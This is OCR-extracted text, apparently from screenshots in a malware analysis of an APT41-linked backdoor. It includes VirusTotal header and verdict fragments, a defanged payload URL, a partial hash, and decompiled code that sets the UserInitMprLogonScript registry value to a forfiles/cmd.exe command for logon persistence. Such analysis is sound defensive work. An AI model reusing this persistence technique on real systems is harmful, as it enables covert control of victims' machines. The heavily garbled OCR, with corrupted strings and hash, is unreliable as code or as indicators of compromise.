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Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.
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Headers

Content-Length
X-X55-Protection
X-Cache

Accept-Ranges
Strict-Transport-Security
Source-Age

Connection

Via

#-Cache-Hits
Access-Contral-Allow-Origin
Expires

®-Served-By
Content-Security-Policy
X-Content-Type-Options
X-GitHub-Request-id
K-Timer

Vary

#-Fastly-Request-ID
Date

Content-Type

X-Frame-Options
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1; mode=block
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bytes

max-age=31536000

a

keep-alive

1.1 varnish

1

N

Tue, 02 May 2023 05:40:571 GMT
cache-chi-klotB100157-CHI

default-src 'none’; style-src 'unsafe-inline’; sandbox
nosniff
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Authorization, Accept-Encoding,Origin
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Z hittp://ip-api.com/json Q T B P signin
9 [2] No security vendors flagged this URL as malicious 43 o :ﬁ:
http://ip-api.com/json 200 2023-05-01 06:45:37 UTC Ca
N 2
ip-api.com Status 3 days ago (4
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Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis (0 Do you want to automate checks?
Abusix @ Clean Acronis @ Clean
ADMINUSLabs (@) clean AICC (MONITORAPP) () clean
AlienVault @ Clean alphaMountain.ai @ Clean
AlphaSoc () clean Antiy-AVL () clean
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int _ stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int

{
if ( !CreateMutexA(®, @, "v653Bmua-531CY7Vq-tgSAaiwC-55q3D4b6™) )

return 1;

if ( (unsigned __ int8)sub_481eee() )
Sleep(@x3E8u);

return 8;
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if ( RegOpenKeyExA(HKEY_CURRENT_USER, "Environment™, @, '\x0F\0?', & E t) )
return 0;
if ( RegSetValueExA(

esult,
"UserInitMprLogonScript”,

»

1y,

"C:\\Windows\\ stem32\\forfiles.exe /p c:\\windows\\system32 /m notepad.exe /c \"cmd.exe /c whoami >> Rappdata%"

"\\z.abcd && Xappdata%\\z.abcd && del Rappdata¥\\z.abcd && exit\"",

strlen("C:\\Windows\\system32\\forfiles.exe /p c:\\windows\\system32 /m notepad.exe /c \"cmd.exe /c whoami >> %a"
“ppdata%\\z.abcd &8 ¥appdata%\\z.abcd && del Xappdata¥\\z.abcd && exit\"")
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» SHA-256 HASH: bb3d35chba3434f053280fc2887a7ebbe703505385e184da4960e8
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e 7281459%eeb

* URL: hXXps.//raw.githubusercontent( Jcom/efimovah/abcd/mainoc.gif
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I0C by pslis A JSCs

[1] https://cybersecuritynews.com/apt41s-powershell-backdoor/
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